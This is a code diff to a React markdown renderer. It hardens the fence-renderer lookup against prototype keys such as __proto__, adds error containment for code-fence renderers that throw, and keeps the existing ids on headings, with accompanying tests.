+ * Registry lookup restricted to OWN keys — the only safe way to index either registry.
120
+ *
121
+ * `language` is the fence info string, so it is MODEL-CONTROLLED: `markdown-hast.ts` reads it off
122
+ * the `language-*` class, and `defaultSchema.attributes.code` (`[['className', /^language-./]]`)
123
+ * lets any such class through the sanitize pass. Both registries are plain object literals, so a
124
+ * bare `map[language]` resolves `Object.prototype` members and the `??` fallback never fires:
125
+ * ` ```valueOf `, ` ```hasOwnProperty ` and ` ```isPrototypeOf ` THREW when the resolved method was
126
+ * called unbound, ` ```__proto__ ` threw on a non-callable, and ` ```toString `/` ```constructor `
127
+ * rendered garbage. `Object.hasOwn` also rejects `__proto__` in a consumer literal (that key sets
128
+ * the prototype rather than defining an own property), and the `typeof` gate covers a consumer map
129
+ * that reached here through a cast with a non-function value.
130
+ */
131
+ function lookupFenceRenderer(
132
+ registry: FenceRenderers | undefined,
133
+ language: string,
134
+ ): FenceRenderer | undefined {
135
+ if (registry === undefined || !Object.hasOwn(registry, language)) return undefined
136
+ const candidate = registry[language]
137
+ return typeof candidate === 'function' ? candidate : undefined
21
138
  }
22
139
 
23
- export function FenceBlock({ node, settled }: FenceBlockProps) {
140
+ // ── Throw containment ────────────────────────────────────────────────────────────────────────────
141
+
142
+ /** A `useRef(false)` handle, mutated in place — same per-instance "warn once" idiom as
143
+ * `useHoverSync`'s `warnedRef` (`charts/hooks/useHoverSync.ts`) rather than a module-level
144
+ * singleton: a singleton would make the FIRST fence anywhere in the process to throw silence the
145
+ * warning for every OTHER, unrelated broken fence for the rest of the run (and, worse, for every
146
+ * later test in this suite — this file has module-singleton order-dependence history). Scoping the
147
+ * gate to one `FenceBlock`'s `useRef` means each rendered fence position gets its own warning, reset
148
+ * only on remount, and unrelated fences/tests never interact through it. */
149
+ type WarnedGate = { current: boolean }
150
+
151
+ /**
152
+ * Formats + emits the dev-only "a fence renderer threw" warning at most once per `warned` gate.
153
+ * Shared by BOTH containment paths below (`renderFenceSafely`'s try/catch and
154
+ * `FenceRenderBoundary.componentDidCatch`) so a fence that throws via either mechanism still only
155
+ * warns once. Mirrors the `process.env['NODE_ENV'] + console.warn('[basalt] …')` idiom used by
156
+ * `agent/merge.ts`'s `clampOffset` — including leaving the resulting oxlint `no-console` warning
157
+ * unsuppressed, the established convention in this package.
158
+ */
159
+ function warnFenceRendererThrew(warned: WarnedGate, error: unknown): void {
160
+ if (warned.current) return
161
+ warned.current = true
162
+ if (process.env['NODE_ENV'] !== 'production') {
163
+ console.warn(
164
+ '[basalt] FenceBlock: a fence renderer threw — falling back to the default CodeBlock rendering.',
165
+ error,
166
+ )
167
+ }
168
+ }
169
+
170
+ /**
171
+ * Calls `render(ctx)` inside a try/catch — contains a SYNCHRONOUS throw from the renderer FUNCTION
172
+ * itself (e.g. `JSON.parse(code)` failing before the renderer ever returns anything). This catch
173
+ * sits in the same call stack as the invocation, so it only ever sees a throw that happens INSIDE
174
+ * this call — never one from a component the renderer merely returns as a descriptor (React invokes
175
+ * that component's own function body later, in a stack frame this function has already returned
176
+ * from — see `FenceRenderBoundary` for that case).
177
+ *
178
+ * Also resolves the decline convention here: `undefined` falls back to `defaultFenceRenderer`;
179
+ * `null` (or any other `ReactNode`) passes through unchanged.
180
+ */
181
+ function renderFenceSafely(
182
+ render: FenceRenderer,
183
+ ctx: FenceRenderContext,
184
+ warned: WarnedGate,
185
+ ): ReactNode {
186
+ let rendered: ReactNode
187
+ try {
188
+ rendered = render(ctx)
189
+ } catch (error) {
190
+ warnFenceRendererThrew(warned, error)
191
+ return defaultFenceRenderer(ctx)
192
+ }
193
+ return rendered === undefined ? defaultFenceRenderer(ctx) : rendered
194
+ }
195
+
196
+ type FenceRenderBoundaryProps = {
197
+ readonly ctx: FenceRenderContext
198
+ readonly warned: WarnedGate
199
+ readonly children: ReactNode
200
+ }
201
+ type FenceRenderBoundaryState = { hasError: boolean }
202
+
203
+ /**
204
+ * Contains a throw from the SUBTREE a `FenceRenderer` RETURNS — e.g.
205
+ * `settledOnly(({ code }) => <VegaChart spec={code} />)` where `VegaChart` itself throws while
206
+ * parsing `code` during ITS OWN render. `renderFenceSafely`'s try/catch cannot reach this case:
207
+ * `<VegaChart spec={code} />` is only a descriptor at the point the renderer returns it — React
208
+ * invokes `VegaChart`'s function body later, during its own render pass, outside the stack frame
209
+ * `renderFenceSafely` controls. An error boundary is the only mechanism that reaches a render-phase
210
+ * throw at that depth.
211
+ *
212
+ * `key={ctx.code}` at the call site (below) remounts this boundary — fresh `hasError: false` — every
213
+ * time the fence body changes, so a still-streaming fence that starts malformed and later becomes
214
+ * valid gets a genuine retry instead of staying permanently tripped.
215
+ *
216
+ * KNOWN GAP (standard React error-boundary limits): a throw from an event handler, from an effect
217
+ * running after an already-successful commit, or from asynchronous code is NOT caught here — only a
218
+ * throw during the RENDER of the returned subtree is contained.
219
+ */
220
+ class FenceRenderBoundary extends Component<FenceRenderBoundaryProps, FenceRenderBoundaryState> {
221
+ constructor(props: FenceRenderBoundaryProps) {
222
+ super(props)
223
+ this.state = { hasError: false }
224
+ }
225
+
226
+ static getDerivedStateFromError(): FenceRenderBoundaryState {
227
+ return { hasError: true }
228
+ }
229
+
230
+ override componentDidCatch(error: unknown): void {
231
+ warnFenceRendererThrew(this.props.warned, error)
232
+ }
233
+
234
+ override render(): ReactNode {
235
+ return this.state.hasError ? defaultFenceRenderer(this.props.ctx) : this.props.children
236
+ }
237
+ }
238
+
239
+ export function FenceBlock({ node, settled, renderers }: FenceBlockProps) {
240
+ const warned = useRef(false)
24
241
  const fence = node ? extractFenceInfo(node) : undefined
25
242
  if (!fence) return null
26
243
 
27
- if (fence.language === 'mermaid' && settled) {
28
- return <MermaidDiagram code={fence.code} />
244
+ const meta = node ? extractFenceMeta(node) : undefined
245
+ const ctx: FenceRenderContext = {
246
+ code: fence.code,
247
+ settled,
248
+ ...(fence.language !== undefined && { language: fence.language }),
249
+ ...(fence.title !== undefined && { title: fence.title }),
250
+ ...(meta !== undefined && { meta }),
29
251
  }
30
252
 
253
+ const language = fence.language
254
+ const render =
255
+ language === undefined
256
+ ? undefined
257
+ : (lookupFenceRenderer(renderers, language) ??
258
+ lookupFenceRenderer(BUILT_IN_FENCE_RENDERERS, language))
259
+ const active = render ?? defaultFenceRenderer
260
+
31
261
  return (
32
- <CodeBlock
33
- code={fence.code}
34
- showCopy={settled}
35
- {...(fence.language !== undefined && { language: fence.language })}
36
- {...(fence.title !== undefined && { title: fence.title })}
37
- />
262
+ <FenceRenderBoundary key={ctx.code} ctx={ctx} warned={warned}>
263
+ {renderFenceSafely(active, ctx, warned)}
264
+ </FenceRenderBoundary>
38
265
  )
39
266
  }
@@ -0,0 +1,65 @@
1
+ /**
2
+ * heading-components — the slug/anchor/foreign-id contract (docs/CONTENT-SPEC.md §2 decision 6 /
3
+ * §7). `createHeadingComponents` builds one renderer per level against a shared `SlugTracker`; each
4
+ * test below builds its OWN tracker so a slug-collision counter never leaks across cases.
5
+ *
6
+ * `createHeadingComponents` is not part of the public surface (not re-exported by `./index`), same
7
+ * test idiom as `composeRehypePlugins` in `./markdown.test.tsx` — imported straight from the module.
8
+ */
9
+ import type { ComponentType, JSX } from 'react'
10
+ import type { Components, ExtraProps } from 'react-markdown'
11
+ import { MantineProvider } from '@mantine/core'
12
+ import { render, screen } from '@testing-library/react'
13
+ import { describe, expect, test } from 'bun:test'
14
+ import { createHeadingComponents } from './heading-components'
15
+ import { SlugTracker } from './slug'
16
+
17
+ function renderHeading(ui: React.ReactElement) {
18
+ return render(<MantineProvider>{ui}</MantineProvider>)
19
+ }
20
+
21
+ type HeadingProps = JSX.IntrinsicElements['h2'] & ExtraProps
22
+
23
+ /** Narrows `Components['h2']` (`ComponentType | keyof JSX.IntrinsicElements | undefined`) down to
24
+ * the function component `createHeadingComponents` actually builds — no cast, a runtime check. */
25
+ function h2Of(components: Partial<Components>): ComponentType<HeadingProps> {
26
+ const H2 = components.h2
27
+ if (typeof H2 !== 'function') throw new Error('expected createHeadingComponents to build h2')
28
+ return H2
29
+ }
30
+
31
+ describe('heading-components', () => {
32
+ test('an ordinary heading is slugged, gets an id, and gets the anchor affordance', () => {
33
+ const H2 = h2Of(createHeadingComponents(new SlugTracker()))
34
+ renderHeading(<H2>Introduction</H2>)
35
+
36
+ const heading = screen.getByRole('heading', { level: 2, name: 'Introduction' })
37
+ expect(heading.id).toBe('introduction')
38
+ expect(screen.getByLabelText('Copy link to section')).toBeDefined()
39
+ })
40
+
41
+ test('a heading arriving with an id keeps that id instead of the slugged one', () => {
42
+ const H2 = h2Of(createHeadingComponents(new SlugTracker()))
43
+ renderHeading(<H2 id="footnote-label">Footnotes</H2>)
44
+
45
+ // The slugger would produce 'footnotes' — the incoming id must win outright.
46
+ const heading = screen.getByRole('heading', { level: 2, name: 'Footnotes' })
47
+ expect(heading.id).toBe('footnote-label')
48
+ })
49
+
50
+ test('a heading arriving with a class keeps it', () => {
51
+ const H2 = h2Of(createHeadingComponents(new SlugTracker()))
52
+ renderHeading(<H2 className="sr-only">Footnotes</H2>)
53
+
54
+ const heading = screen.getByRole('heading', { level: 2, name: 'Footnotes' })
55
+ expect(heading.className).toBe('sr-only')
56
+ })
57
+
58
+ test('a heading that keeps its own id is not given the anchor affordance', () => {
59
+ const H2 = h2Of(createHeadingComponents(new SlugTracker()))
60
+ renderHeading(<H2 id="footnote-label">Footnotes</H2>)
61
+
62
+ screen.getByRole('heading', { level: 2, name: 'Footnotes' })
63
+ expect(screen.queryByLabelText('Copy link to section')).toBeNull()
64
+ })
65
+ })
@@ -5,7 +5,19 @@
5
5
  *
6
6
  * Ids come from `SlugTracker` — pass a document-scoped instance for correct cross-heading dedup,
7
7
  * or a fresh per-block instance in `Markdown`'s `streaming` mode (see that module's JSDoc for the
8
- * accepted collision tradeoff there).
8
+ * accepted collision tradeoff there). That is the default path, for an ordinary prose heading with
9
+ * no id of its own.
10
+ *
11
+ * FOREIGN IDS: a heading can already arrive with an `id` — remark-gfm's footnotes section heading
12
+ * is one (`<h2 id="footnote-label" class="sr-only">Footnotes</h2>`, referenced by the surrounding
13
+ * `<section>`'s `aria-labelledby`), and a consumer's own `rehypePlugins` injecting a heading is
14
+ * another. The rule is general, not a footnote special case: an id this renderer did NOT assign is
15
+ * something else's address for that heading, and slugging over it breaks whatever points at it. So
16
+ * an incoming `id` wins outright — no re-slug, no dedup registration against `tracker` (the heading
17
+ * isn't part of this document's slug namespace), and no `HeadingAnchor` (the affordance's premise is
18
+ * "copy a link to the id THIS renderer just minted"; a foreign id's meaning is basalt's to respect,
19
+ * not to advertise). Every other incoming prop (`className` included) is forwarded either way — the
20
+ * one thing always stripped is the hast `node` handle, which must never reach the DOM.
9
21
  *
10
22
  * Not part of the public surface.
11
23
  */
@@ -38,12 +50,21 @@ function headingText(node: ReactNode): string {
38
50
 
39
51
  function createHeadingRenderer(level: HeadingLevel, tracker: SlugTracker) {
40
52
  const Tag = HEADING_TAGS[level]
41
- return function HeadingRenderer({ children }: HeadingProps) {
42
- const id = tracker.slug(headingText(children))
53
+ // `node` is react-markdown's hast handle (`ExtraProps`) — read by neither branch, and must not
54
+ // reach the DOM, so it's stripped the same way `LinkRenderer` strips it in `./markdown`.
55
+ return function HeadingRenderer({ id, children, node: _node, ...rest }: HeadingProps) {
56
+ if (id !== undefined) {
57
+ return (
58
+ <Tag id={id} {...rest}>
59
+ {children}
60
+ </Tag>
61
+ )
62
+ }
63
+ const slug = tracker.slug(headingText(children))
43
64
  return (
44
- <Tag id={id}>
65
+ <Tag id={slug} {...rest}>
45
66
  {children}
46
- <HeadingAnchor id={id} />
67
+ <HeadingAnchor id={slug} />
47
68
  </Tag>
48
69
  )
49
70
  }